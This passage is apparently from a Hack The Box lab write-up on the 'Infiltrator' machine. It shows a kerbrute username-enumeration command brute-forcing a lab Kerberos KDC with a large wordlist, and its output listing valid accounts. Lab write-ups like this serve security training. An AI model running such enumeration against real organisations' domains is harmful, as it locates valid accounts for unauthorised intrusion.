Infiltrator_Kerberos

Kerberos

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Nmap discovered a KDC on the target port 88 and 464 The running service is Microsoft Windows Kerberos

Username Enumeration

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While I do not know the naming convention that the target domain uses, I will attempt to enumerate usernames as much as possible by brute-forcing the KDC I will get that running in the background while enumerating other services for efficiency

┌──(kali㉿kali)-[~/archive/htb/labs/infiltrator]
└─$ kerbrute userenum --dc dc01.infiltrator.htb -d INFILTRATOR.HTB /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 200
 
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        
 
Version: v1.0.3 (9dad6e1) - 08/31/24 - Ronnie Flathers @ropnop
 
2024/08/31 23:13:38 >  Using KDC(s):
2024/08/31 23:13:38 >  	dc01.infiltrator.htb:88
 
2024/08/31 23:13:39 >  [+] VALID USERNAME:	 administrator@INFILTRATOR.HTB
2024/08/31 23:13:41 >  [+] VALID USERNAME:	 Administrator@INFILTRATOR.HTB
2024/09/01 00:00:51 >  [+] VALID USERNAME:	 dc01@INFILTRATOR.HTB
2024/09/01 00:08:39 >  [+] VALID USERNAME:	 a.walker@INFILTRATOR.HTB
2024/09/01 00:13:00 >  Done! Tested 8295455 usernames (4 valid) in 3562.337 seconds

I had kerbrute running in the background for awhile. It has found a valid domain user; a.walker The target organization appears to use the following naming convention; First letter of the firstname + lastname